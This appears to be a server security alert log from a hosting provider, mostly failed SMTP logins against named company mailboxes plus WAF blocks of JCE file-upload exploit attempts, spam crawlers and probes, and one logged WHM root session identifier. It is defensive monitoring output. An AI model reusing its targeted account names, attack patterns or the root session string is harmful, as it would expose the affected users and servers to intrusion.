name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://siva-smart.ch/index.php?title=B%C3%AD_Quy%E1%BA%BFt_Ch%E1%BB%8Dn_N%C6%A1i_B%C3%A1n_Gi%E1%BB%91ng_C%C3%A0_Ph%C3%AA_Uy_T%C3%ADn\">\xe2\x80\x9cgi\xe1\xbb\x91ng c\xc3\xa2y ch\xe1\xba\xa5t l\xc6\xb0\xe1\xbb\xa3ng cao\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-12 07:11:36 dovecot_login authenticator failed for H=([49.124.149.218]) [185.15.82.135]:34231: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-12 07:13:02 dovecot_login authenticator failed for H=([177.7.30.137]) [131.161.184.46]:45554: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.132
country_id: 1668284
description:
2026-07-12 07:12:26 dovecot_login authenticator failed for H=111-70-29-132.emome-ip.hinet.net ([192.111.137.33]) [111.70.29.132]:56383: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-12 07:16:28 dovecot_login authenticator failed for H=([60.166.31.198]) [80.233.12.109]:57239: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-12 07:16:43 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([37.208.46.130]) [221.120.57.125]:58978: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-12 07:18:15 dovecot_login authenticator failed for H=([199.102.105.241]) [123.212.9.122]:40101: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-07-12 07:19:56 dovecot_login authenticator failed for H=([49.124.146.34]) [103.50.5.94]:52537: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-12 07:19:31 dovecot_login authenticator failed for H=([45.167.250.173]) [222.104.76.94]:44952: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.64.33.82
country_id: 1643084
description:
2026-07-12 07:27:36 dovecot_login authenticator failed for H=([162.253.68.102]) [36.64.33.82]:46390: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.69.233
country_id: 1269750
description:
2026-07-12 07:27:18 dovecot_login authenticator failed for H=(c-50-190-89-138.unallocated.comcastbusiness.net) [122.160.69.233]:50554: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-12 07:27:39 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com (h79-138-90-195.cust.bredband2.com) [217.211.208.125]:33432: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.4.22
country_id: 1522867
description:
2026-07-12 07:27:20 dovecot_login authenticator failed for H=2.133.4.22.dynamic.telecom.kz ([39.152.118.160]) [2.133.4.22]:37527: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-12 07:27:37 dovecot_login authenticator failed for H=([112.165.212.135]) [128.185.253.122]:46314: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.64
country_id: 1733045
description:
2026-07-12 07:28:08 dovecot_login authenticator failed for H=([103.220.16.51]) [49.124.153.64]:56042: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-12 07:35:05 dovecot_login authenticator failed for H=([117.191.83.250]) [65.191.211.33]:50844: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-12 07:34:55 dovecot_login authenticator failed for H=([184.170.245.145]) [217.29.30.135]:45385: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-12 07:40:38 dovecot_login authenticator failed for H=(70.210.245.58.adsl-pool.jlccptt.net.cn) [125.19.163.58]:59108: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-12 07:41:55 dovecot_login authenticator failed for H=(ip-179.48.229.118.fiberlinkpe.net.br) [211.116.107.222]:55225: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-12 07:42:29 dovecot_login authenticator failed for H=([70.166.167.44]) [196.190.220.199]:59290: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.238.254.51
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-12 07:48:16 dovecot_login authenticator failed for H=([192.111.137.33]) [119.92.76.210]:39700: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-12 07:48:36 dovecot_login authenticator failed for H=([193.46.192.20]) [122.184.124.46]:53786: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-12 07:51:24 dovecot_login authenticator failed for H=(110-25-109-58.adsl.fetnet.net) [41.219.149.74]:47772: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-12 07:51:39 dovecot_login authenticator failed for H=(h-176-10-197-168.A444.priv.bahnhof.se) [102.211.7.162]:47642: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-12 07:54:32 dovecot_login authenticator failed for H=([220.178.82.122]) [183.171.49.158]:53504: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-12 07:55:45 dovecot_login authenticator failed for H=(95-210-105-202.ip.skylogicnet.com) [182.95.230.74]:57246: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-12 07:55:55 dovecot_login authenticator failed for H=([220.179.87.204]) [65.20.179.251]:43854: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-12 07:55:55 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([218.92.251.198]) [85.195.9.20]:33096: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-12 07:55:34 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp (111-70-38-124.emome-ip.hinet.net) [60.40.45.223]:61703: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-12 07:56:36 dovecot_login authenticator failed for H=([98.181.137.75]) [196.190.220.199]:35044: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-12 07:57:03 dovecot_login authenticator failed for H=([142.54.229.253]) [181.54.70.40]:44798: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-12 08:04:04 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net (l37-192-47-229.novotelecom.ru) [72.234.16.75]:46938: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-12 08:04:01 dovecot_login authenticator failed for H=([72.223.188.94]) [39.118.24.100]:38156: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-12 08:03:46 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([120.234.195.41]) [89.67.39.124]:41453: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-12 08:04:13 dovecot_login authenticator failed for H=([65.20.149.239]) [202.153.46.43]:45616: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-12 08:04:29 dovecot_login authenticator failed for H=(ool-6038e495.static.optonline.net) [182.95.106.102]:59444: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcefag0hyx2.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-12 08:08:05 dovecot_login authenticator failed for H=([88.84.209.146]) [122.187.116.110]:42172: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-12 08:07:20 dovecot_login authenticator failed for H=([60.216.89.122]) [203.252.10.3]:11680: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-12 08:08:25 dovecot_login authenticator failed for H=([142.54.236.102]) [122.160.137.230]:53616: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-12 08:09:46 dovecot_login authenticator failed for H=(broadband-5-228-1-56.ip.moscow.rt.ru) [101.13.5.50]:59556: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-12 08:10:11 dovecot_login authenticator failed for H=([180.250.112.148]) [195.222.43.138]:42148: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-12 08:12:17 dovecot_login authenticator failed for H=([182.74.216.124]) [121.171.95.112]:40424: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-12 08:11:53 dovecot_login authenticator failed for H=([46.44.32.144]) [101.13.5.49]:59616: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-12 08:15:32 dovecot_login authenticator failed for H=([24.249.199.9]) [182.95.106.118]:51186: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-12 08:16:08 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [221.167.50.229]:52930: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.42
country_id: 1733045
description:
2026-07-12 08:15:43 dovecot_login authenticator failed for H=([49.124.155.180]) [49.124.153.42]:58076: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.255.126.94
country_id: 4566966
description:
2026-07-12 08:16:29 dovecot_login authenticator failed for H=([62.182.132.94]) [38.255.126.94]:49841: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce645mrzsf.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-12 08:16:58 dovecot_login authenticator failed for H=([68.71.249.154]) [196.191.142.67]:42096: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcetjp9obmc.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-12 08:18:21 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([222.174.184.86]) [31.208.108.219]:60418: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce54drbk7x.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-12 08:18:51 dovecot_login authenticator failed for H=([85.159.165.216]) [203.252.10.3]:33511: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-12 08:22:22 dovecot_login authenticator failed for H=([197.156.97.198]) [65.20.153.146]:45481: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 08:22:38 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (164.67.158.103.ptr-cust.iforte.net.id) [82.209.191.11]:33628: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.37.176
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:104.238.37.176||TA:104.238.37.176||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-12 08:29:44 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([119.192.249.195]) [223.25.108.2]:59296: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.252.224.216
country_id: 6251999
description:
2026-07-12 08:29:55 dovecot_login authenticator failed for H=([192.252.214.22]) [23.252.224.216]:42250: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-12 08:30:58 dovecot_login authenticator failed for H=([49.125.201.73]) [71.12.42.216]:60526: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcekg2lutsa.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-12 08:37:43 dovecot_login authenticator failed for H=([192.111.131.4]) [196.188.93.169]:3964: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-12 08:38:38 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([49.124.153.58]) [60.40.45.223]:50493: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-12 08:39:24 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([218.146.255.221]) [213.66.197.199]:46392: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-12 08:41:26 dovecot_login authenticator failed for H=([27.24.141.88]) [122.186.249.6]:40530: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-12 08:43:16 dovecot_login authenticator failed for H=([192.111.135.19]) [59.6.72.106]:51026: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-12 08:43:45 dovecot_login authenticator failed for H=(108-90-216-10.lightspeed.rcsntx.sbcglobal.net) [175.200.217.128]:51064: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.189.17.35
country_id: 298795
description:
2026-07-12 08:43:27 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [78.189.17.35]:37696: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-12 08:43:33 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([27.123.107.154]) [80.223.190.179]:34274: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-12 08:45:53 dovecot_login authenticator failed for H=([111.36.152.14]) [112.162.111.205]:38586: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-12 08:46:03 dovecot_login authenticator failed for H=([182.95.87.177]) [103.55.89.5]:36316: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-12 08:47:11 dovecot_login authenticator failed for H=([106.14.182.77]) [106.245.246.26]:46879: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-12 08:47:59 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([60.172.1.210]) [83.166.50.15]:46669: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-12 08:48:18 dovecot_login authenticator failed for H=(151.239.223.60.adsl-pool.sx.cn) [106.201.237.208]:52044: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-12 08:48:24 dovecot_login authenticator failed for H=([117.39.63.46]) [20.127.25.202]:51846: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 154.19.37.43
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce9m2xetjv.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-12 08:55:11 dovecot_login authenticator failed for H=([201.218.0.25]) [182.95.176.122]:41208: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-12 08:55:28 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([211.178.165.251]) [210.0.90.82]:56158: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-12 08:55:44 dovecot_login authenticator failed for H=([74.119.147.213]) [121.131.220.136]:47989: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-12 08:56:37 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([81.13.62.77]) [220.246.47.146]:55050: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-12 08:56:26 dovecot_login authenticator failed for H=([183.196.144.45]) [41.128.181.196]:56314: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-12 08:57:39 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([81.13.62.77]) [125.59.252.103]:32916: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-12 09:00:56 dovecot_login authenticator failed for H=(111-70-32-51.emome-ip.hinet.net) [211.116.107.222]:44222: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-12 09:01:13 dovecot_login authenticator failed for H=([184.181.217.198]) [200.107.163.195]:17384: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://easymash.club/story.php?title=htx-khuyen-nong-4\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-12 09:04:12 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([183.171.61.218]) [112.120.115.152]:58809: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.86.72
country_id: 3608932
description:
2026-07-12 09:04:52 dovecot_login authenticator failed for H=(h-176-10-197-168.A444.priv.bahnhof.se) [45.181.86.72]:4379: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-12 09:06:02 dovecot_login authenticator failed for H=([187.7.85.97]) [1.247.245.61]:45733: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-12 09:06:12 dovecot_login authenticator failed for H=([218.21.241.50]) [94.16.17.141]:38460: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-12 09:08:11 dovecot_login authenticator failed for H=([111.26.62.38]) [106.0.165.219]:60422: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-12 09:08:48 dovecot_login authenticator failed for H=([205.206.92.54]) [121.148.184.47]:47418: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 15.235.155.214
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:09-09.15.235.155.214||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-12 09:10:02 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([36.135.92.35]) [60.40.45.223]:57325: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-12 09:10:19 dovecot_login authenticator failed for H=([118.70.146.125]) [157.119.70.200]:50406: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-12 09:12:44 +0530] info [whostmgrd] 223.181.13.36 NEW root:gs4KEVUJ1r61MpMc address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-12 09:14:08 dovecot_login authenticator failed for H=([197.219.210.86]) [183.104.220.195]:54000: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.36.209
country_id: 1835841
description:
2026-07-12 09:15:53 dovecot_login authenticator failed for H=(www.waw.com.tw) [168.126.36.209]:34558: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-12 09:16:11 dovecot_login authenticator failed for H=([210.112.227.218]) [119.192.219.77]:53964: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-12 09:15:36 dovecot_login authenticator failed for H=([102.38.3.107]) [14.35.209.208]:35656: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.244.80.67
country_id: 1269750
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-12 09:16:55 dovecot_login authenticator failed for H=([182.252.140.114]) [197.157.252.162]:38107: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-12 09:16:28 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([171.244.60.35]) [79.136.8.69]:38046: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
